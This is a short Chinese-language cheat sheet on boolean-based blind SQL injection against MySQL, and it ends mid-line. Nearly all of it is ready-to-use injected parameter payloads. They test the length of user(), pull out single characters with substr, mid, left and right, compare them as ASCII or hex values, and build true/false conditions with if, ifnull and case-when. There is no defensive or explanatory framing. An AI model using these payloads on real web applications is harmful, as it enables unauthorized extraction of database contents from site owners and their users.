布尔盲注
盲注一般先看长度
id=4 and length(user())=14
布尔盲注的方法
substr,substring,mid,left,right截取单个字符
id=4 and substr((select user()),1,1)=0x72
id=4 and left((select user()),1)=0x72
用ascii(),ord(),hex()编码单个字符
id=4 and ascii(substring((select user()) from 1 for 1))=114
id=4 and ord(mid((select user()),1,1))=114
id=4 and hex(right((select user()),1))=74
用if,ifnull,case when自由输出字符
id=4 and if(1=1,1,0)
id=4 and ifnull(1=1,0)
id=4 and (case when 1=1 then 1 else 0 end)
如果查询是空内容,同时传入两个值使其报错来构成布尔盲注
select null an